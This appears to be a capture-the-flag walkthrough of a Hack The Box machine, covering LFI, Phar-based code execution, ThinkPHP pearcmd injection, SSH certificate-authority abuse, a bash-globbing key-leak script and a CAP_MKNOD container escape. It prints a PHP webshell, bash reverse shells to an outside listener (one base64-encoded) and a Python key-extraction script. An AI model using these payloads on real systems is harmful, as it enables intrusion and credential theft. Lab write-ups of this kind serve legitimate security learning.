Recon

Nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_  256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)

We see one suspicious port 2222 for extra SSH login besides port 22 (It turns out these extra SSH ports micmic an Active Directory architecture for the Linux system).

Web App

The domain is http://itrc.ssg.htb/, aka SSG (Strategic Solutions Group) IT Resource Center, which is a one-stop-shop for resolving website issues, managing SSH access, tackling virus removal, and addressing various security concerns.

We can register and log in the dashboard, using cookie authentication:

By looking into the URL we find out there could be path traversing using conventional paths:

FFUF it with cookies:

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://itrc.ssg.htb/?page=FUZZ -b "PHPSESSID=9d8f0d53fe02af65d4058f0777d73103" -recursion -fs 3120

We've got some potential directories. We can visit the /admin endpoint to look up all thickets and use the Admin Tools, revealing an SSH provision user zzinter:

Here, via a POST request to /api/admin.php, we can ping IP/HOST with data:

{"mode":"ping","host":"10.10.16.4"}

Provisioning AD Users allows the administrator to create or manage user accounts in the Active Directory:

{"mode":"userprov","user":"axura"}

And we can check some closed tickets implying they are used for accessing other servers:

Click on one of the tickets we will visit an endpoint /?page=ticket&id=2, which returns "Unable to retieve ticket" (typo?), but no result by fuzzing the id numbers:

The "New Ticket" button seems to allow us creating a ticket via /?page=create_ticket endpoint, by providing Subject & Issue, uploading a ZIP file:

When I tested it with an empty ZIP file, it leaks some server information with endpoint /api/create_ticket.php:

  • The ZipArchive::open() method is called to open the uploaded ZIP file.
  • The server processes the contents of the ZIP file. This might involve extracting files, reading file contents, or performing other operations.
  • The hash_file() function is used to compute the hash of a file inside the ZIP archive.

The errors indicate:

  • If the ZIP file is empty or invalid, ZipArchive::open() throws a deprecated warning.
  • If a file in the ZIP archive cannot be accessed, hash_file() generates a warning.

Go back to dashboard, we will still be able to access the ticket we created, leaving a comment via endpoint /api/create_comment.php and attaching another ZIP file, or just close and remove the ticket from the OPEN list (but we can still check it in the CLOSED list) via endpoint /api/close_ticket.php?id=9:

FastAPI

Enumerate for other subdomains:

ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -u "http://ssg.htb" -H "HOST: FUZZ.ssg.htb" -t 200 -mc all -fc 302

We did use the n0kovo dictionary for insane HTB machines quite some times (classic one in the Skyfall machine to find out the key subdomain). It's large, complete and time consuming, which should not be in a medium machine. This might not be the intented path to reveal this subdomain, which we will find it in the shell script from zzinter home directory. And we are not using it until then.

We have a subdomain http://signserv.ssg.htb. The name "signserv" suggests that the subdomain is likely associated with a service related to signing, such as document signing, digital signatures, or certificate signing.

When we visit it in browser, it responses 404 {"detail":"Not Found"}. So, fuzz again for dir enum:

Apparently the author does not want to give us some leisure time to enjoy our life. We have a valid URL now http://signserv.ssg.htb/docs:

FastAPI is a modern, fast (high-performance), web framework for building APIs with Python based on standard Python type hints.

This reveals a FastAPI interface exposing an endpoint for signing certificates at /v1/sign. The documentation shows that it accepts POST requests and includes schemas for HTTPValidationError, KeyRequest, and ValidationError. This endpoint likely handles certificate signing operations, and the presence of detailed schemas suggests well-defined request and response structures.

LFI

Local File Inclusion is identified for parameter page. From the error message of Recon part, we know the internal path is something like /var/www/itrc/api/create_ticket.php. If we visit http://itrc.ssg.htb/?page=/var/www/itrc/api/create_ticket, the server responses:

This indicates that the script /var/www/itrc/api/create_ticket.php attempts to start a session using session_start() on line 3, but a session is already active. This is a common issue in PHP applications when session_start() is called multiple times, but verifying the existence for the LFI vulnerability in parameter page.

But we cannot leak /etc/passwd, seems it is restricted for only PHP files without suffix.

PHAR DESERIALIZATION | Www-data

From the LFI vulnerability, we can test some protocols like file://, dict://, phar://, rather than just absolute path for the server. For example, we can test http://itrc.ssg.htb/index.php?page=file:///var/www/itrc/api/create_ticket:

It still triggers the LFI, meaning we can use protocols to access resources.

Let's create a new ticket but with a non-empty ZIP file. Then we can discover our ZIP file is uploaded to /uploads directory on the server with a new obfuscated file name:

And it is not changing when we upload a same ZIP file, indicating that the server uses some specific algorithms to hash the files. Download the ZIP file and Intercept the request. Copy the file name and we can try to identify its hash type:

It's simple SHA-1. And yes, we can verify it by sha1sum'ing our uploaded file.

Now we are in control of the uploaded ZIP files on the server. And since it's a PHP server, we can try the Phar Deserialization attack, that we know the server is using ZipArchive class to deal with ZIP files in our previous Recon. Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and we can try to abuse a deserialization vulnerability inside the PHP code.

We can craft a malicious Phar file and inject it into a web application, leading to various vulnerabilities such as remote code execution (RCE). We can test with a simple PHP code:

<?php system($_GET["cmd"]); ?>

Zip it into test.zip, and upload the ZIP file attached to a new ticket. With the LFI vulnerability, we can try the phar:// protocol to access the malicious PHP file, via a fixed path of /uploads/<sha1sum_ZIP>.zip/<PHP_file_name>:

It works. So we can test our PHP file with parameter in the URL http://itrc.ssg.htb/?page=phar://uploads/6e81769f122fa02e1d08f35380803729924f4aa0.zip/test&cmd=whoami:

Now we have an RCE primitive. Run a reverse shell PHP code and set up listener in advance:

/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'

But of course we need to URL encode the command as a parameter for GET request. Simply use BurpSuite to encode it and send the request:

We have a reverse shell as user www-data:

CVE-2022-47945 | ThinkPHP RCE

Some crazy-nut genius found out this vulnerability for the PHP server using the ThinkPHP framework at the backend, without fingerprints (maybe try some auto scan tools). But now it's patched and this method is depreciated.

This article explains a Remote Code Execution (RCE) vulnerability in ThinkPHP versions 5.x and 6.x when the multi-language feature is enabled. Attackers can exploit this vulnerability by manipulating language parameters in the URL, headers, or cookies to achieve directory traversal and file inclusion. Specifically, we can include the pearcmd file in ThinkPHP framework to execute arbitrary code on the server.

This is reported as CVE-2022-47945, and we can exploit to get RCE via introduction in this link on Github.

When Thinkphp enables the multilingual function and pearcmd is installed, we can leverage these factors to write arbitrary files to a certain path cooperated with the LFI vulnerability. Here I will prepare a BASH reverse shell command string which is able to run by PHP functions:

/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'

Then base64 encoded it for the shell_exec function, which makes our payload:

/index.php?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvNDQ0NCAwPiYxJw=="));?>+/tmp/revshell.php

Access the LFI entrance via BurpSuite because we need to edit the Header language as Accept-Language: zh-CN,zh:

We have saved our PHP script under /tmp folder. Set up a listener in advance and access the evil PHP file via LFI:

http://itrc.ssg.htb/index.php?page=../../../../../../../../tmp/rev

We manage to get a reverse shell as user www-data:

ITRC | Msainristil

From the /home directory, we know our next targets are zzinter and msainristil. And viewing db.php we find out credentials for local database:

But we cannot login Mysql under current host, which is a rabbit hole here. Skip.

And we see there's a /uploads path containing ZIP files, which possibly includes the attached ZIP files from the Web App. We can use zipgrep to enumerate sensitive data. Since I aim to look for information about user zzinter & msainristil as our next lateral target, we can set the keyword as "msainristil" and search (nothing for "zzinter"):

for zipfile in uploads/*.zip; do zipgrep "msainristil" "$zipfile"; done

We can use the credentials to SSH login as user msainristil:

ITRC | Zzinter

There's an RSA keypair inside the decommission_old_ca folder, which is a CA private key (it could be uploaded via a closed ticket named decomission ITRC SSH Certificate from our previous Recon):

A Certificate Authority (CA) private key is a highly secure key used by a Certificate Authority to sign digital certificates. These certificates authenticate the identity of entities (like users, servers, or applications) and establish trust within a network. This article has explained how SSH works with CA.

The CA private key (ca-itrc) can sign other public keys, creating a certificate that systems trust. It is not like a Normal SSH Private Key, which acts as a trusted authority in an SSH infrastructure, allowing seamless and scalable management of SSH credentials. The ca-itrc.pub is a result of the command ssh-keygen -y -f ca-itrc:

The ca-itrc.pub file itself does not contain any user-specific information or certificates. It is simply the public key part of the key pair that can be used to verify signatures made by the corresponding private key. We can create and sign a public key with the CA private key and then inspect the resulting certificate.

First, we need to generate a new RSA key pair:

ssh-keygen -t rsa -b 2048 -f axurakey

We have the keypair axurakey & axurakey.pub. Then sign the public key with the CA private key, creating a certificate, specifieing the principal/username zzinter for whom the certificate is valid:

Now, we have a signed public key axurakey-cert.pub. Then inspect the generated certificate:

ssh-keygen -Lf axurakey-cert.pub

The generated certificate can be used to authenticate as the specified user (zzinter) on the target server:

We can use this signed keypair to SSH login as zzinter. Before that, we always need to modify the permissions on the keys to 600, then:

ssh -o CertificateFile=axurakey-cert.pub -i axurakey zzinter@localhost

We are now user zzinter and take the user flag:

ITRC | Root

Use the same signing method in the msainristil shell, specify the principle of the certificate as user root, we can login as root:

ssh-keygen -t rsa -b 2048 -f rootkey && \
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root rootkey.pub && \
ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@localhost

SSG | Support

Reviewing the HOST file and netstat, we don't see any port 2222 open, that another SSH port for we found out in our Recon part:

As we can see in the image, we are actually connecting to '127.223.0.3', while '0.0.0.0:22' is still in LISTEN status. There're some indicator telling us this could be a container:

  • Internal Network IP (172.223.0.3): This IP range is often used for container networking.
  • Loopback Interface with High Port (127.0.0.11:34373): This suggests internal service networking, typical in containerized environments. And 127.0.0.11 is the DNS nameserver for the workstation if we lookup /etc/resolv.conf.
  • Service Isolation: Limited services running (Apache, SSH) and internal connections, which is common in containerized applications.

We knew this is an active directory from previous Recon, so there must be another machine which is possibly our true target.

As root user, we can now go through all files on the file system. Under the home directory of zzinter, there's sign_key_api.sh, which is owned by root:

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

This shell script is designed to sign an SSH public key with specific principals using a web service at signserv.ssg.htb, which we discovered in our Recon part. Let's take a look at how it works:

  1. Usage Check:
    • The script requires three arguments: <public_key_file>, <username>, and <principal>.
  2. Variables:
    • public_key_file: Path to the public key file.
    • username: Username for the certificate.
    • principal_str: Comma-separated string of principals.
  3. Principal Validation:
    • Checks if provided principals are in the list of supported principals: webserver, analytics, support, security.
  4. Username:
    • User webadmin for principal webserver, user analytics for principal analytics, user support for support and security.
  5. cURL Request:
    • Sends a request to the signserv.ssg.htb API to sign the public key, including the username and principals in the request body.
    • Uses a specific authorization token for the API.

In SSH, a "principal" refers to a user or host identity that is allowed to authenticate using an SSH certificate. When a Certificate Authority (CA) signs a public key, it can specify one or more principals that the certificate is valid for. These principals are listed in the certificate and are checked by the SSH server to determine if the certificate is authorized for a given user or host.

Rather running with this script, I prefer testing with FastAPI. Remember there's a documentation on URL http://signserv.ssg.htb/docs? It tells us how to access the API using Curl:

Since we have the principals & token via the shell script above, we can easily create an RSA keypair locally and sign it via API /v1/sign.

Similar to previous steps, first we need to create an RSA keypair:

ssh-keygen -t rsa -b 2048 -f key && chmod 600 key

With the generated key & key.pub, then just copy the content of key.pub to the curl command, which will output a signed public key and we can save it as key-cert.pub:

curl -X 'POST' \
  'http://signserv.ssg.htb/v1/sign' \
  -H 'accept: text/plain' \
  -H 'Content-Type: application/json' \
  -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
  -d '{
  "pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyx4lZ30LtL7BqIct1h47HpE+117m7taeSCeziS9yiKfuX/xQUzb8EOlg0GQgTzYOoTnAK/ZHZBu5ShI8KSeizUTE31yJl5epr5fj4XG0di7+R5gW2/ioviFDeXd5anwCQiVJsLrR2yw7IqIFugXugPE17NZ5BRtLy3AAUxtjwk569J6tatBG1I8vySKufTVhrRz7juKaQzaTdZCiuXpd1WaPooq71YJxgDUhcfJbkNejGvHNcopHwIzlzEo+BC/QHctbiiPqiWqnfwkIY8xE35e2UqKFKCpxRnTEeuKz0/RFVlxK4DPnNPE6NueMK9+v2ybT+TvfeXlwLCgM1i64p axura@Apocalypse",
  "principals": "support",
  "username": "support"
}' \
> key-cert.pub

There're 4 principals, aka webserver, analytics, support, security, with their corresponding usernames introduced in the explanation of the script. Only the support pair will work.

Since port 22 is for host itrc, we can try to use the private key key to login another SSH port 2222:

ssh -o CertificateFile=key-cert.pub -i key [email protected] -p 2222

We are now user support on a new host ssg.

SSG | Zzinter

We are not yet finished abusing SSH. Although we test those 4 principals according to the shell script, but there of course could be more principals for us login as other users to move on.

Therefore, we can enter /etc/ssh/auth_principals directory, which is used in conjunction with OpenSSH's Certificate Authority (CA) feature. It contains files named after user accounts, and each file lists the principals (or identities) that are allowed to authenticate as that user:

  • Each file corresponds to a user and lists valid principals, one per line.
  • When a user attempts to authenticate using an SSH certificate, the server checks if the certificate's principal matches any principal listed in the corresponding file in /etc/ssh/auth_principals.

The output tells us that the user zzinter is allowed to authenticate with SSH certificates that include the principal zzinter_temp, as user support for principal support, and user root for principal support & root_user.

This means when creating and signing the SSH certificate, we need to specify principal matches the username. Therefore, we can use the FastAPI again to sign a certificate using a new RSA keypair. Write an automated script to run the same processes as before:

#!/bin/bash

# Generate SSH key pair
ssh-keygen -t rsa -b 2048 -f key -N "" && chmod 600 key

# Extract the public key
PUB_KEY=$(cat key.pub)

# Make the API call to sign the key
curl -X 'POST' \
  'http://signserv.ssg.htb/v1/sign' \
  -H 'accept: text/plain' \
  -H 'Content-Type: application/json' \
  -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
  -d "{
  \"pubkey\": \"$PUB_KEY\",
  \"principals\": \"zzinter_temp\",
  \"username\": \"zzinter\"
}" \
> key-cert.pub && \
chmod 600 key-cert.pub

# Log in with cert
ssh -o CertificateFile=key-cert.pub -i key [email protected] -p 2222

Run this script locally leading us SSH login the ssg machine as user zzinter:

SSG | Root

User zzinter has SUDO privilege on ssg machine to run /opt/sign_key.sh without password:

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

This script with sudo privileges allows us to sign a public key with the CA:

  • Ensures exactly 5 arguments are provided: ca_file, public_key_file, username, principal, and serial.
  • ⚠ Checks if the provided CA file matches /etc/ssh/ca-it. If the CA file matches, it outputs an error message and exits, instructing the user to use the API instead. It intends not to allow us use the ca-it key with the script.
  • Again use principals webserver, analytics, support, security.
  • Ensures the serial number is a valid number.
  • Uses ssh-keygen to sign the provided public key with the specified CA file, serial number, identity, validity, and principals.

During earlier enumeration as user support, I found out only root user is able to access /etc/ssh/ca-it and other CA keys. But now we can access them with this sudo command. The core signing command in this script is:

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
  • -s "$ca_file": Specifies the CA key for signing.
  • -z "$serial": Serial number for the certificate.
  • -I "$username": Identity for the certificate.
  • -V -1w:forever: Specifies the validity period (from 1 week ago to forever).
  • -n "$principals": Specifies the allowed principals for the certificate.
  • "$public_key_name": The public key file to be signed.

The idea here is that, if we want to use the ca-it key to sign an RSA with the SUDO script, system tells us to use the API on the signserv web app instead. But if we go to the API to sign a key for user root, then the API responses it's forbidden for administrator users. So we can try to find a valid CA key to sign for root user and corresponding pricipals locally.

First, we can test the script after self generating an RSA keypair (xpl & xpl.pub in my case) again with a command like:

sudo /opt/sign_key.sh "some-ca-key" xpl.pub root root_user 1

As we know, BASH script tends to be vulnerable when it acts as a role of designed program. Because it is a very "soft" language that we can use various substitutions for certain codes. For example, the wildcard * represents a place holder for arbitrary characters.

And this script suffers from the Bash Globbing Vulnerability. It intends to stop us using the cat-it key, by comparing our provided CA and the original one inside /etc/ssh directory. Therefore, we can leak the original key by trying base64 characters (format for an RSA key) one by one adding wildcard * at the end, identified by the error messages:

import subprocess


# SSH key elements
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key = []
line= 0


# Iterates over each character to test if it's the next correct one
while True:
    for char in ba64chars:
    	# Constructs a test key with *
        testKey = f"{header}\n{''.join(key)}{char}*"
        with open("ca-test", "w") as f:
            f.write(testKey)
        proc = subprocess.run(
            ["sudo", "/opt/sign_key.sh", "ca-test", "xpl.pub", "root", "root_user", "1"],
            capture_output=True
        )
        
        # If matched, Error code 1
        if proc.returncode == 1:
            key.append(char)
            # Adds a newline every 70 characters
            if len(key) > 1 and (len(key) - line) % 70 == 0:
                key.append("\n")
                line += 1
            break
    else:
        break

# Constructs the final SSH key from the discovered characters
caKey = f"{header}\n{''.join(key)}\n{footer}"
print("The final leaked ca-it is: ", caKey)
with open("ca-it", "w") as f:
    f.write(caKey)

Generate an RSA keypair before running crack.py:

With the ca-it leaked (never forget to change it for permissions 600), we can use it to sign a newly generated keypair (rootKey & rooKey.pub in my case) for user root and its corresponding principal root_user we discovered before:

ssh-keygen -s ca-it -z 1234 -I root -V -100w:forever -n root_user rootKey.pub

Now we can SSH log in with the signed private key:

ssh -o CertificateFile=rootKey-cert.pub -i rootKey root@localhost -p 2222

ROOT.

CAP_MKNOD | Root

This could be an unintended way to root, which could be patched anytime.

After we having elevated as root inside the container, and SSH login as low-privilege user zzinter (or support, but the UID of support on the host is 1000, which mean we need to add it to container after deleting user msainristil whose UID is also 1000) on the ssg host, we can privesc using this popular attack. It's fun and a great learning on how to escape a docker container in such condition:

  1. Have initial access to the host (Unprivileged): user zzinter on ssg host.
  2. Have initial access to the container (Privileged (EUID 0), and effective CAP_MKNOD): root on the itrc.
  3. Host and container should share the same user namespace.

It can be referred to this link. The CAP_MKNOD capability allows processes to create device files within a container, potentially leading to privilege escalation by accessing host devices through the container. This method leverages shared user namespaces and device file creation to read data from the host.

CAP_MKNOD extends the functionality of the mknod system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include:

  1. Character Special Files (S_IFCHR):
    • Represent devices that handle data character by character, such as terminals or serial ports.
  2. Block Special Files (S_IFBLK):
    • Represent devices that handle data in blocks, such as hard drives or other storage devices.

In the Privesc scenario, there're are 2 key points:

  • Default Docker Capability: CAP_MKNOD is included in Docker’s default capabilities, allowing privileged containers to create device files.
  • Privilege Escalation Potential: With CAP_MKNOD, a root user in a container can create device files that access host hardware, which can lead to privilege escalation.

To exploit this, first we need to check the capabilities of the container:

capsh --print

Go to the target host ssg, we can identify the current user ID:

Identify the target device we want to exploit using command lsblk:

The most relevant device here to target for potential exploitation is /dev/sda and its partitions. Specifically, /dev/sda3 contains:

  • /dev/ubuntu--vg-ubuntu--lv: The root filesystem (/)
  • /dev/ubuntu--vg-swap: Swap space

With knowing the target information, then we can move back to the container. First we create a block device for /dev/sda:

mknod /dev/sda b 8 0 
  • b: Indicates a block device (as opposed to a character device).
  • 8: Major device number (identifies the driver associated with the device) for sda.
  • 0: Minor device number (identifies the specific device) for sda.

Set read and write permissions for the user and group:

chmod 660 /dev/sda

Create a partition for /dev/sda, namely our target /dev/sda3:

mknod /dev/sda3 b 8 3
  • b: Indicates a block device (as opposed to a character device).
  • 8: Major device number (identifies the driver associated with the device) for sda3.
  • 3: Minor device number (identifies the specific device) for sda3.

Again set read and write permissions for the user and group, but for /dev/sda3:

chmod 660 /dev/sda3

Add user zzinter with UID 1001 (we don't need this step in our case)::

useradd -u 1001 zzinter 

Switch to zzinter:

su - zzinter 

Move back to host ssg, locate the PID of the container process owned by user zzinter:

ps aux | grep zzinter

Access the container's filesystem and the block device:

head /proc/3904/root/dev/sda3

We have full access to the link root inside the process, but we "cannot read symbolic link 'root'":


Are you watching me?